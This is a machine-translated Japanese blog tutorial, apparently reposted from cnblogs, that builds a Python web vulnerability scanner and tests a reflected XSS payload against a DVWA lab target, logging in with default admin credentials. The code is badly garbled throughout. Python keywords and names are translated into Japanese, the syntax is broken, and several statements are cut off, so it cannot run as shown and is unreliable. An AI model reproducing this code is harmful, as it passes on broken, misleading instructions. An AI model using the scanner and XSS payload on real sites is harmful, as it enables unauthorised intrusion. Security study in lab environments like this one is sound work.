Pythonの倫理的ハッキング - 脆弱性スキャナ(7)

VULNERABILITY_SCANNER

Webアプリケーションの脆弱性を発見するには?

1.あらゆる可能なページに移動します。

Webアプリケーション(URL +フォーム)にデータを送信する方法2.探します。

3.脆弱性を発見するためのペイロードを送信します。

4.ウェブサイトのチェックするために応答を分析することは脆弱です。

 

- >一般的な手順は関係なく、脆弱性と同じです。

 

metasploitable VMをログインし、高いからメディアにDVWAのセキュリティを変更します。(中は/ var dvwaPage.inc.php / WWW / dvwa / dvwa /含まれます)

 

 反射クロスサイトスクリプティング(XSS)の上に次のスクリプトを送信

<SCRIPT>警告( 'テスト')</ SCRIPT>

 あなたは、ソースコード内のスクリプトを見つけることができます。

 Scannerクラスでtest_xss_in_form - 新機能を追加します。

!は/ usr / binに/ ENVパイソン

インポート要求が
 インポートから BS4の輸入BeautifulSoup
 から urllib.parse 輸入urljoin


クラスのスキャナ:
     デフ __init__ (自己、URL、ignore_links):
        self.session = requests.Session()
        self.target_url = URL
        self.target_links = []
        self.links_to_ignore = ignore_links

    デフextract_links_from(自己、URL):
        応答 = self.session.get(URL)
         戻り re.findall(' (?: "?)(*)"のhref = '、response.content.decode(エラー= ' 無視' ))

    デフクロール(自己、URL = なし):
         もし URL == なし:
            URL = self.target_url
        href_links = self.extract_links_from(URL)
         のためのリンクhref_links:
            リンク = urljoin(URL、リンク)

            もし  リンク:
                リンク = link.split(" " )[0]

            もし self.target_url リンクリンクしない  self.target_links リンクない self.links_to_ignore:
                self.target_links.append(リンク)
                印刷(リンク)
                self.crawl(リンク)

    デフextract_forms(自己、URL):
        応答 = self.session.get(URL)
        parsed_html = BeautifulSoup(response.content.decode()、機能= " lxmlの" を返す parsed_html.findAll(" フォーム" 

    デフsubmit_form(自己、フォーム、値、URL):
        アクション = form.get(" アクション" 
        POST_URL = urljoin(URL、アクション)
        方法 = form.get(" 方法" 

        inputs_list = form.findAll(" 入力" 
        post_data = {}
         のための入力inputs_list。
            input_name = input.get(" 名前" 
            INPUT_TYPE = input.get(" タイプ" 
            input_value = input.get(" " であれば INPUT_TYPE == " テキスト" 
                input_value = 

            post_data [input_name] = input_value
         かの方法== " ポスト" リターン requests.post(POST_URL、データ= post_data)
         戻り self.session.get(POST_URL、paramsは= post_data)

    デフrun_scanner(自己):
         のリンクself.target_links:
            フォーム = self.extract_forms(リンク)
             のための形式フォーム:
                 印刷に[+]テストフォーム + リンク)

            もし " = "  :リンク
                 プリント" [+]試験" + リンク)

    デフtest_xss_in_form(自己、フォーム、URL):
        xss_test_script = " <SCRIPT>警告( 'テスト')</ SCRIPT> " 
        レスポンス = self.submit_form(フォーム、xss_test_script、URL)
         場合 xss_test_script response.content.decode():
             返す

 

脆弱性スキャナのコードを変更し、それをテストします。

!は/ usr / binに/ ENVパイソン

輸入スキャナ

target_url = " http://10.0.0.45/dvwa/ " 
links_to_ignore = " http://10.0.0.45/dvwa/logout.php "

data_dict = { " ユーザ名"" 管理者"" パスワード"" パスワード"" ログイン"" 提出" }

vuln_scanner = scanner.Scanner(target_url、links_to_ignore)
vuln_scanner.session.post(" http://10.0.0.45/dvwa/login.php "、データ= data_dict)

#1 vuln_scanner.crawl() 
フォーム= vuln_scanner.extract_forms(" http://10.0.0.45/dvwa/vulnerabilities/xss_r/ " プリント(フォーム)
応答 = vuln_scanner.test_xss_in_form(フォーム[0]、" http://10.0.0.45/dvwa/vulnerabilities/xss_r/ " プリント(応答)

なるほど!私たちは、カスタマイズされた脆弱性を見つけます。

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11756172.html